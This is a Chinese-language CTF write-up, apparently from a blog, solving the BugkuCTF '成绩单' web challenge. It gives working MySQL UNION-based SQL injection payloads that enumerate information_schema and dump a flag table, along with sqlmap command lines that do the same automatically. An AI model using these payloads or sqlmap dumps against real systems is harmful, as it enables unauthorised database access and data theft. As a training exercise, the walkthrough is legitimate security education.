BugkuCTF-web-成绩单 WP

最基本的SQL注入

题目描述

解题传送门:http://123.206.87.240:8002/chengjidan/
在这里插入图片描述

解题思路

查看源码可以知道,name为id,且为post传参
在这里插入图片描述
用火狐的hackbar,查几个试试,试了一下,只有三个数据
在这里插入图片描述
那么,id后面加个'看看
在这里插入图片描述
报错了,哪加个'#呢,又恢复正常了
在这里插入图片描述
SQL注入,稳了,两种解法

  • 方法一、手工注入

在手工注入之前要先知道一些小知识点,拿小本本记下来
1、
MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
2、
查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
ok,科普完毕

先查个字段,由于有三个数据,就直接先用4吧order by 4#
返回正常
返回正常,order by 5#
在这里插入图片描述
没有回显,那么可以确定,字段就是4个了,接下来,暴库名
id=-1' union select 1,2,3,4//把id变为-1是因为如果id有回显的话,我们查询的东西就不能能显示了,所以要换一个id没有东西的数值
在这里插入图片描述
知道他们出现的位置了,接下来才是真的暴库,哈哈
id=-1' union select 1,database(),user(),version()#
得到数据库名skctf_flag
在这里插入图片描述
然后暴表名(固定格式)
id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
得到两个表名fl4g,sc
在这里插入图片描述
接下来就是暴列名了
id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#
取得列名为skctf_flag
ps:表明单引号要用英文'',不加也可以,但表名要用十六进制
在这里插入图片描述
最后就是查询数据了
id=-1' union select 1,skctf_flag,user(),version() from fl4g#
得到FLAGBUGKU{Sql_INJECT0N_4813drd8hz4}
在这里插入图片描述
----------------------------------------------------------------------------------------------------------

  • 方法二、sqlmap跑
    对话框输入1,然后抓包,并点击Copy to file保存,我保存到了E盘下
    在这里插入图片描述
    指定文件名及类型,保存为txt即可
    在这里插入图片描述
    然后掏出sqlmap开始暴库
    sqlmap.py -r E:\a.txt -p id --dbs或者
    sqlmap.py -r "E:\a.txt" -p id --current-db
    -r -->打开指定文件
    -p -->指定注入参数
    –current-db(两个-) 或 --dbs–>暴库名
    在这里插入图片描述
    暴表名 sqlmap.py -r E:\a.txt -p id -D skctf_flag --tables
    -D -->指定数据库
    –tables(两个-) -->列出当前数据库的表
    在这里插入图片描述
    暴列名,很明显,flag在fl4g的表中
    sqlmap.py -r E:\a.txt -p id -D skctf_flag -T fl4g --column
    -T -->指定表名
    –column(两个-)–>列出当前表的列
    在这里插入图片描述
    最后下载数据
    sqlmap.py -r E:\a.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
    -C -->指定列名
    –dump(两个-)–>下载数据
    在这里插入图片描述

END

  • 4
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值